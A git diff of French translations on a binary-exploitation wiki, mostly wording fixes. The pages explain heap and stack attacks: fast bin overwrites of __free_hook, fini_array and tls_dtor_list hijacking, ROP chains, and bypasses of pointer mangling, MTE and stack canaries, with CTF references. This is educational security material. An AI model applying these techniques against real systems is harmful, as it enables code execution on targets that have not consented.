-Dans la rupture mentionnée dans le code précédent, l'adresse du free hook sera située dans `$eax`.
+Dans la rupture mentionnée dans le code précédent, `$eax` contiendra l'adresse du free hook.
Maintenant, une **attaque fast bin** est effectuée :
- Tout d'abord, il est découvert qu'il est possible de travailler avec des **chunks de taille 200** dans l'emplacement **`__free_hook`** :
--
- Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette manière nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index dfc06ea4d..98a14cd63 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -49,7 +49,7 @@ Notez comment `map -> l_addr + fini_array -> d_un.d_ptr` est utilisé pour **cal
Il y a **quelques options** :
- Écraser la valeur de `map->l_addr` pour qu'elle pointe vers un **faux `fini_array`** avec des instructions pour exécuter du code arbitraire.
-- Écraser les entrées `l_info[DT_FINI_ARRAY]` et `l_info[DT_FINI_ARRAYSZ]` (qui sont plus ou moins consécutives en mémoire), pour les faire **pointer vers une structure `Elf64_Dyn` forgée** qui fera à nouveau **que `array` pointe vers une zone mémoire** contrôlée par l'attaquant.
+- Écraser les entrées `l_info[DT_FINI_ARRAY]` et `l_info[DT_FINI_ARRAYSZ]` (qui sont plus ou moins consécutives en mémoire), pour les faire **pointer vers une structure `Elf64_Dyn` forgée** qui fera à nouveau **pointer `array` vers une zone mémoire** contrôlée par l'attaquant.
- [**Ce rapport**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) écrase `l_info[DT_FINI_ARRAY]` avec l'adresse d'une mémoire contrôlée dans `.bss` contenant un faux `fini_array`. Ce faux tableau contient **d'abord un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresse** qui sera exécutée et ensuite la **différence** entre l'adresse de ce **faux tableau** et la **valeur de `map->l_addr`** afin que `*array` pointe vers le faux tableau.
- Selon le post principal de cette technique et [**ce rapport**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so laisse un pointeur sur la pile qui pointe vers le `link_map` binaire dans ld.so. Avec une écriture arbitraire, il est possible de l'écraser et de le faire pointer vers un faux `fini_array` contrôlé par l'attaquant avec l'adresse d'un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) par exemple.
@@ -115,8 +115,8 @@ func (cur->obj);
```
Pour chaque fonction enregistrée dans **`tls_dtor_list`**, il démanglera le pointeur de **`cur->func`** et l'appellera avec l'argument **`cur->obj`**.
-En utilisant la fonction **`tls`** de ce [**fork de GEF**](https://github.com/bata24/gef), il est possible de voir que le **`dtor_list`** est en fait très **proche** du **stack canary** et du **PTR_MANGLE cookie**. Donc, avec un débordement sur celui-ci, il serait possible de **surcharger** le **cookie** et le **stack canary**.\
-En surchargeant le PTR_MANGLE cookie, il serait possible de **contourner la fonction `PTR_DEMANLE`** en le définissant à 0x00, ce qui signifie que le **`xor`** utilisé pour obtenir l'adresse réelle est juste l'adresse configurée. Ensuite, en écrivant sur le **`dtor_list`**, il est possible de **chaîner plusieurs fonctions** avec l'**adresse** de la fonction et son **argument**.
+En utilisant la fonction **`tls`** de ce [**fork de GEF**](https://github.com/bata24/gef), il est possible de voir que le **`dtor_list`** est en fait très **proche** du **stack canary** et du **PTR_MANGLE cookie**. Ainsi, avec un débordement, il serait possible de **surcharger** le **cookie** et le **stack canary**.\
+En surchargeant le PTR_MANGLE cookie, il serait possible de **contourner la fonction `PTR_DEMANLE`** en le définissant à 0x00, ce qui signifie que le **`xor`** utilisé pour obtenir l'adresse réelle est simplement l'adresse configurée. Ensuite, en écrivant sur le **`dtor_list`**, il est possible de **chaîner plusieurs fonctions** avec l'**adresse** de la fonction et son **argument**.
Enfin, notez que le pointeur stocké ne sera pas seulement xored avec le cookie mais également tourné de 17 bits :
```armasm
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 1b5b6d4e9..1e7c3ac54 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -42,7 +42,7 @@ Vous pouvez trouver les techniques **Écrire Quoi Où pour l'Exécution** dans :
Un point à prendre en compte est que généralement **une seule exploitation d'une vulnérabilité peut ne pas suffire** à exécuter un exploit réussi, surtout certaines protections doivent être contournées. Par conséquent, il est intéressant de discuter de certaines options pour **rendre une seule vulnérabilité exploitable plusieurs fois** dans la même exécution du binaire :
-- Écrire dans une chaîne **ROP** l'adresse de la **fonction `main`** ou l'adresse où la **vulnérabilité** se produit.
+- Écrire dans une **chaîne ROP** l'adresse de la **fonction `main`** ou l'adresse où la **vulnérabilité** se produit.
- En contrôlant une chaîne ROP appropriée, vous pourriez être en mesure d'effectuer toutes les actions dans cette chaîne.
- Écrire à l'adresse **`exit` dans GOT** (ou toute autre fonction utilisée par le binaire avant de se terminer) l'adresse pour **revenir à la vulnérabilité**.
- Comme expliqué dans [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stocker 2 fonctions ici, une pour rappeler la vulnérabilité et une autre pour appeler **`__libc_csu_fini`** qui rappellera à nouveau la fonction de `.fini_array`.
@@ -51,13 +51,13 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
### Objectif : Appeler une Fonction Existante
-- [**ret2win**](#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) afin d'obtenir le drapeau.
+- [**ret2win**](#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) afin d'obtenir le flag.
- Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), vous devez simplement écrire l'adresse dans l'adresse de retour stockée dans la pile.
- Dans un bof avec [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), vous devrez le contourner.
- Dans un bof avec [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), vous devrez le contourner.
- Si vous devez définir plusieurs paramètres pour appeler correctement la fonction **ret2win**, vous pouvez utiliser :
-- Une chaîne [**ROP**](#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (au cas où vous pourriez appeler ce syscall) pour contrôler de nombreux registres.
+- Une [**chaîne ROP**](#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (au cas où vous pouvez appeler ce syscall) pour contrôler de nombreux registres.
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres.
- Via un [**Écrire Quoi Où**](../arbitrary-write-2-exec/index.html), vous pourriez abuser d'autres vulnérabilités (pas de bof) pour appeler la fonction **`win`**.
- [**Redirection de Pointeurs**](../stack-overflow/pointer-redirecting.md) : Dans le cas où la pile contient des pointeurs vers une fonction qui va être appelée ou vers une chaîne qui va être utilisée par une fonction intéressante (system ou printf), il est possible d'écraser cette adresse.
@@ -68,11 +68,11 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
#### Via shellcode, si nx désactivé ou mélangeant shellcode avec ROP :
-- [**(Stack) Shellcode**](#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **y sauter** pour l'exécuter :
+- [**(Stack) Shellcode**](#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **sauter vers lui** pour l'exécuter :
- **Dans tous les cas, s'il y a un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** dans un bof régulier, vous devrez le contourner (leak).
- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), il est possible de sauter à l'adresse de la pile car elle ne changera jamais.
- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), vous aurez besoin de techniques telles que [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) pour y sauter.
-- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/index.html) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **y stocker le shellcode** (en appelant read par exemple) et ensuite y sauter.
+- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/index.html) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **stocker le shellcode là-dedans** (en appelant read par exemple) et ensuite y sauter.
- Cela mélangera le shellcode avec une chaîne ROP.
#### Via syscalls
@@ -93,14 +93,14 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
- **Contourner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) et calculer l'adresse de `system` et `'/bin/sh'` en mémoire.
- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et sans connaître la libc** : Vous devez :
- Contourner [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
-- Trouver la **version de `libc`** utilisée (fuite de quelques adresses de fonction).
+- Trouver la **version de `libc`** utilisée (leak quelques adresses de fonction).
- Vérifier les **scénarios précédents avec ASLR** pour continuer.
#### Via EBP/RBP
-- [**Pivotement de Pile / EBP2Ret / Chaînage EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) : Contrôler l'ESP pour contrôler RET via l'EBP stocké dans la pile.
-- Utile pour les débordements de pile **off-by-one**.
-- Utile comme une méthode alternative pour finir par contrôler l'EIP tout en abusant de l'EIP pour construire la charge utile en mémoire et ensuite y sauter via l'EBP.
+- [**Pivot de Pile / EBP2Ret / Chaînage EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) : Contrôler l'ESP pour contrôler RET via le EBP stocké dans la pile.
+- Utile pour les **débordements de pile off-by-one**.
+- Utile comme une alternative pour finir par contrôler EIP tout en abusant d'EIP pour construire la charge utile en mémoire et ensuite sauter vers elle via EBP.
#### Divers
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index 9f1e9c74c..7541bdc07 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -23,19 +23,19 @@ Le cœur de cette technique est une formule d'obfuscation :
**`New_Ptr = (L >> 12) XOR P`**
- **L** est la **Localisation de Stockage** du pointeur.
-- **P** est le **pointeur Fd fastbin/tcache** réel.
+- **P** est le **Pointeur Fd de fastbin/tcache**.
-La raison du décalage binaire de la localisation de stockage (L) de 12 bits vers la droite avant l'opération XOR est critique. Cette manipulation traite une vulnérabilité inhérente à la nature déterministe des 12 bits de poids faible des adresses mémoire, qui sont généralement prévisibles en raison des contraintes d'architecture système. En décalant les bits, la portion prévisible est déplacée hors de l'équation, augmentant l'aléatoire du nouveau pointeur manglé et protégeant ainsi contre les exploits qui s'appuient sur la prévisibilité de ces bits.
+La raison du décalage binaire de la localisation de stockage (L) de 12 bits vers la droite avant l'opération XOR est critique. Cette manipulation traite une vulnérabilité inhérente à la nature déterministe des 12 bits de poids faible des adresses mémoire, qui sont généralement prévisibles en raison des contraintes d'architecture système. En décalant les bits, la portion prévisible est déplacée hors de l'équation, améliorant l'aléatoire du nouveau pointeur manglé et protégeant ainsi contre les exploits qui s'appuient sur la prévisibilité de ces bits.
Ce pointeur manglé tire parti de l'aléatoire existant fourni par **Address Space Layout Randomization (ASLR)**, qui randomise les adresses utilisées par les programmes pour rendre difficile pour les attaquants de prédire la disposition mémoire d'un processus.
-**Démangling** du pointeur pour récupérer l'adresse originale implique d'utiliser la même opération XOR. Ici, le pointeur manglé est traité comme P dans la formule, et lorsqu'il est XORé avec la localisation de stockage (L) inchangée, cela révèle le pointeur original. Cette symétrie dans le mangling et le démangling garantit que le système peut encoder et décoder efficacement les pointeurs sans surcharge significative, tout en augmentant considérablement la sécurité contre les attaques qui manipulent les pointeurs de mémoire.
+**Démangling** du pointeur pour récupérer l'adresse originale implique d'utiliser la même opération XOR. Ici, le pointeur manglé est traité comme P dans la formule, et lorsqu'il est XORé avec la localisation de stockage inchangée (L), cela révèle le pointeur original. Cette symétrie dans le mangling et le démangling garantit que le système peut encoder et décoder efficacement les pointeurs sans surcharge significative, tout en augmentant considérablement la sécurité contre les attaques qui manipulent les pointeurs de mémoire.
### Avantages Sécuritaires
Le mangling de pointeur vise à **prévenir les écrasements partiels et complets de pointeur dans la gestion de heap**, une amélioration significative de la sécurité. Cette fonctionnalité impacte les techniques d'exploitation de plusieurs manières :
-1. **Prévention des Écritures Relatives par Octet** : Auparavant, les attaquants pouvaient changer une partie d'un pointeur pour **rediriger les chunks de heap vers différentes localisations sans connaître les adresses exactes**, une technique évidente dans l'exploitation sans fuite **House of Roman**. Avec le mangling de pointeur, de telles écritures relatives **sans fuite de heap nécessitent maintenant un bruteforce**, réduisant considérablement leur probabilité de succès.
+1. **Prévention des Écritures Relatives Bye Byte** : Auparavant, les attaquants pouvaient changer une partie d'un pointeur pour **rediriger les chunks de heap vers différentes localisations sans connaître les adresses exactes**, une technique évidente dans l'exploitation sans fuite **House of Roman**. Avec le mangling de pointeur, de telles écritures relatives **sans fuite de heap nécessitent maintenant un bruteforce**, réduisant considérablement leur probabilité de succès.
2. **Difficulté Accrue des Attaques Tcache Bin/Fastbin** : Les attaques courantes qui écrasent les pointeurs de fonction (comme `__malloc_hook`) en manipulant les entrées fastbin ou tcache sont entravées. Par exemple, une attaque pourrait impliquer de divulguer une adresse LibC, de libérer un chunk dans le bin tcache, puis d'écraser le pointeur Fd pour le rediriger vers `__malloc_hook` pour une exécution de code arbitraire. Avec le mangling de pointeur, ces pointeurs doivent être correctement manglés, **nécessitant une fuite de heap pour une manipulation précise**, augmentant ainsi la barrière d'exploitation.
3. **Exigence de Fuites de Heap dans des Localisations Non-Heap** : Créer un faux chunk dans des zones non-heap (comme la pile, la section .bss, ou PLT/GOT) nécessite également **une fuite de heap** en raison de la nécessité de mangling de pointeur. Cela étend la complexité d'exploitation de ces zones, similaire à l'exigence de manipulation des adresses LibC.
4. **Les Fuites d'Adresses de Heap Devenant Plus Difficiles** : Le mangling de pointeur restreint l'utilité des pointeurs Fd dans les bins fastbin et tcache comme sources de fuites d'adresses de heap. Cependant, les pointeurs dans les bins non triés, petits et grands restent non manglés, donc toujours utilisables pour des fuites d'adresses. Ce changement pousse les attaquants à explorer ces bins pour des informations exploitables, bien que certaines techniques puissent encore permettre de démangler les pointeurs avant une fuite, bien que sous contraintes.
@@ -43,11 +43,11 @@ Le mangling de pointeur vise à **prévenir les écrasements partiels et complet
### **Démangling des Pointeurs avec une Fuite de Heap**
> [!CAUTION]
-> Pour une meilleure explication du processus [**consultez le post original ici**](https://maxwelldulin.com/BlogPost?post=5445977088).
+> Pour une meilleure explication du processus [**vérifiez le post original ici**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Aperçu de l'Algorithme
-La formule utilisée pour le mangling et le démangling des pointeurs est :
+La formule utilisée pour le mangling et le démangling des pointeurs est :
**`New_Ptr = (L >> 12) XOR P`**
@@ -72,7 +72,7 @@ La protection de pointeur est une technique d'atténuation des exploits utilisé
2. **Stratégie d'Attaque :** L'attaque est basée sur une approche de texte clair connu, où l'attaquant doit connaître à la fois les versions originales et manglées d'un pointeur pour déduire le secret utilisé pour le mangling.
3. **Exploitation des Textes Clairs Connus :**
- **Identification des Pointeurs de Fonction Fixes :** En examinant le code source de glibc ou les tables de pointeurs de fonction initialisées (comme `__libc_pthread_functions`), un attaquant peut trouver des pointeurs de fonction prévisibles.
-- **Calcul du Secret :** En utilisant un pointeur de fonction connu tel que `__pthread_attr_destroy` et sa version manglée de la table de pointeurs de fonction, le secret peut être calculé en faisant une rotation inverse (rotation à droite) du pointeur manglé, puis en le XORant avec l'adresse de la fonction.
+- **Calcul du Secret :** En utilisant un pointeur de fonction connu tel que `__pthread_attr_destroy` et sa version manglée à partir de la table de pointeurs de fonction, le secret peut être calculé en effectuant une rotation inverse (rotation à droite) du pointeur manglé, puis en le XORant avec l'adresse de la fonction.
4. **Textes Clairs Alternatifs :** L'attaquant peut également expérimenter avec le mangling de pointeurs avec des valeurs connues comme 0 ou -1 pour voir si cela produit des motifs identifiables en mémoire, révélant potentiellement le secret lorsque ces motifs sont trouvés dans des dumps mémoire.
5. **Application Pratique :** Après avoir calculé le secret, un attaquant peut manipuler les pointeurs de manière contrôlée, contournant essentiellement la protection de la Protection de Pointeur dans une application multithreadée avec connaissance de l'adresse de base de libc et la capacité de lire des emplacements mémoire arbitraires.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 5e10eeed8..f71aac29c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -1,14 +1,14 @@
-# Extension de Tagging de Mémoire (MTE)
+# Memory Tagging Extension (MTE)
{{#include ../../banners/hacktricks-training.md}}
-## Informations de Base
+## Informations de base
-**L'Extension de Tagging de Mémoire (MTE)** est conçue pour améliorer la fiabilité et la sécurité des logiciels en **détectant et en prévenant les erreurs liées à la mémoire**, telles que les débordements de tampon et les vulnérabilités d'utilisation après libération. MTE, en tant que partie de l'**architecture ARM**, fournit un mécanisme pour attacher un **petit tag à chaque allocation de mémoire** et un **tag correspondant à chaque pointeur** référencant cette mémoire. Cette approche permet de détecter les accès mémoire illégaux à l'exécution, réduisant ainsi considérablement le risque d'exploiter de telles vulnérabilités pour exécuter du code arbitraire.
+**Memory Tagging Extension (MTE)** est conçu pour améliorer la fiabilité et la sécurité des logiciels en **détectant et en prévenant les erreurs liées à la mémoire**, telles que les débordements de tampon et les vulnérabilités d'utilisation après libération. MTE, en tant que partie de l'**architecture ARM**, fournit un mécanisme pour attacher un **petit tag à chaque allocation de mémoire** et un **tag correspondant à chaque pointeur** référencant cette mémoire. Cette approche permet de détecter les accès mémoire illégaux à l'exécution, réduisant ainsi considérablement le risque d'exploiter de telles vulnérabilités pour exécuter du code arbitraire.
-### **Comment Fonctionne l'Extension de Tagging de Mémoire**
+### **Comment fonctionne l'extension de balisage de mémoire**
-MTE fonctionne en **divisant la mémoire en petits blocs de taille fixe, chaque bloc se voyant attribuer un tag,** généralement de quelques bits de taille.
+MTE fonctionne en **divisant la mémoire en petits blocs de taille fixe, chaque bloc se voyant attribuer un tag,** généralement de quelques bits.
Lorsqu'un pointeur est créé pour pointer vers cette mémoire, il reçoit le même tag. Ce tag est stocké dans les **bits inutilisés d'un pointeur mémoire**, liant efficacement le pointeur à son bloc de mémoire correspondant.
@@ -16,19 +16,19 @@ Lorsqu'un pointeur est créé pour pointer vers cette mémoire, il reçoit le m
Lorsqu'un programme accède à la mémoire via un pointeur, le matériel MTE vérifie que le **tag du pointeur correspond au tag du bloc de mémoire**. Si les tags **ne correspondent pas**, cela indique un **accès mémoire illégal.**
-### Tags de Pointeur MTE
+### Tags de pointeur MTE
-Les tags à l'intérieur d'un pointeur sont stockés en 4 bits à l'intérieur du byte supérieur :
+Les tags à l'intérieur d'un pointeur sont stockés dans 4 bits à l'intérieur du premier octet :
Par conséquent, cela permet jusqu'à **16 valeurs de tag différentes**.
-### Tags de Mémoire MTE
+### Tags de mémoire MTE
Chaque **16B de mémoire physique** a un **tag de mémoire** correspondant.
-Les tags de mémoire sont stockés dans une **région RAM dédiée** (non accessible pour un usage normal). Avoir des tags de 4 bits pour chaque tag de 16B de mémoire jusqu'à 3% de la RAM.
+Les tags de mémoire sont stockés dans une **région RAM dédiée** (non accessible pour un usage normal). Avoir des tags de 4 bits pour chaque tag de mémoire de 16B jusqu'à 3 % de la RAM.
ARM introduit les instructions suivantes pour manipuler ces tags dans la mémoire RAM dédiée :
```
@@ -67,13 +67,13 @@ Si le noyau accède à la **granule de tag invalide**, le **décalage** sera **d
Un autre bug se produit dans la **dernière granule** de la mémoire allouée. Si l'application a demandé 35B, elle a reçu la granule de 32 à 48. Par conséquent, les **octets de 36 à 47 utilisent le même tag** mais n'ont pas été demandés. Si l'attaquant accède **à ces octets supplémentaires, cela n'est pas détecté**.
-Lorsque **`kfree()`** est exécuté, la mémoire est re-tagée avec le tag de mémoire invalide, donc dans un **use-after-free**, lorsque la mémoire est à nouveau accédée, le **décalage est détecté**.
+Lorsque **`kfree()`** est exécuté, la mémoire est retagged avec le tag de mémoire invalide, donc dans un **use-after-free**, lorsque la mémoire est à nouveau accédée, le **décalage est détecté**.
Cependant, dans un use-after-free, si le même **chunk est réalloué à nouveau avec le MÊME tag** qu'auparavant, un attaquant pourra utiliser cet accès et cela ne sera pas détecté (environ 7% de chance).
De plus, seuls **`slab` et `page_alloc`** utilisent de la mémoire taguée mais à l'avenir, cela sera également utilisé dans `vmalloc`, `stack` et `globals` (au moment de la vidéo, ceux-ci peuvent encore être abusés).
-Lorsqu'un **décalage est détecté**, le noyau va **panique** pour prévenir toute exploitation supplémentaire et les tentatives de l'exploit (MTE n'a pas de faux positifs).
+Lorsqu'un **décalage est détecté**, le noyau va **panic** pour prévenir toute exploitation supplémentaire et les tentatives de l'exploit (MTE n'a pas de faux positifs).
## Références
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index e9eb72076..c0c42dca5 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -103,14 +103,15 @@ log.info(f"The canary is: {canary}")
```
## Threads
-Les threads du même processus **partageront le même jeton canari**, il sera donc possible de **brute-forcer** un canari si le binaire crée un nouveau thread chaque fois qu'une attaque se produit.
+Les threads du même processus **partageront le même jeton canary**, il sera donc possible de **brute-forcer** un canary si le binaire crée un nouveau thread chaque fois qu'une attaque se produit.
-De plus, un **débordement de tampon dans une fonction threadée** protégée par un canari pourrait être utilisé pour **modifier le canari maître stocké dans le TLS**. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canari) via un **bof dans la pile** d'un thread.\
-En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaris qui sont les mêmes (bien que modifiés).\
+De plus, un **débordement de tampon dans une fonction threadée** protégée par un canary pourrait être utilisé pour **modifier le canary maître stocké dans le TLS**. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canary) via un **bof dans la pile** d'un thread.\
+En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).\
Cette attaque est décrite dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
+Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap`, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
## Other examples & references
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guy
+- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
+- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 651a1e8a0..3c956f333 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -6,13 +6,13 @@
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers **une partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est constitué de **octets aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.
-Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile qui va **imprimer tout le canary** (sauf le premier octet nul).
+Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile, ce qui va **imprimer tout le canary** (sauf le premier octet nul).
-Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme).
+Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la **même session de programme**).
-Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
+Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable de **imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
-**Exemples CTF :**
+**Exemples CTF :**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'à l'octet 0x00 du canary pour ensuite appeler puts et le divulguer. Avec le canary, un gadget ROP est créé pour appeler puts afin de divulguer l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index 635bc2769..4e68cc837 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -6,7 +6,7 @@
Au cœur d'un **débordement d'entier** se trouve la limitation imposée par la **taille** des types de données en programmation informatique et l'**interprétation** des données.
-Par exemple, un **entier non signé de 8 bits** peut représenter des valeurs de **0 à 255**. Si vous essayez de stocker la valeur 256 dans un entier non signé de 8 bits, elle revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **entier non signé de 16 bits**, qui peut contenir des valeurs de **0 à 65 535**, ajouter 1 à 65 535 ramènera la valeur à 0.
+Par exemple, un **entier non signé de 8 bits** peut représenter des valeurs de **0 à 255**. Si vous essayez de stocker la valeur 256 dans un entier non signé de 8 bits, cela revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **entier non signé de 16 bits**, qui peut contenir des valeurs de **0 à 65 535**, ajouter 1 à 65 535 ramènera la valeur à 0.
De plus, un **entier signé de 8 bits** peut représenter des valeurs de **-128 à 127**. Cela est dû au fait qu'un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour représenter la magnitude. Le nombre le plus négatif est représenté par **-128** (binaire `10000000`), et le nombre le plus positif est **127** (binaire `01111111`).
@@ -99,7 +99,7 @@ Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interpré
- Seulement 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de le dépasser et de le faire penser qu'il a une longueur de 4 alors qu'il est en réalité de 260 pour contourner la protection de vérification de longueur.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- Étant donné quelques nombres, trouvez en utilisant z3 un nouveau nombre qui multiplié par le premier donnera le deuxième :
+- Étant donné quelques nombres, trouvez en utilisant z3 un nouveau nombre qui multiplié par le premier donnera le second :
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 3fde57431..7e45082f9 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
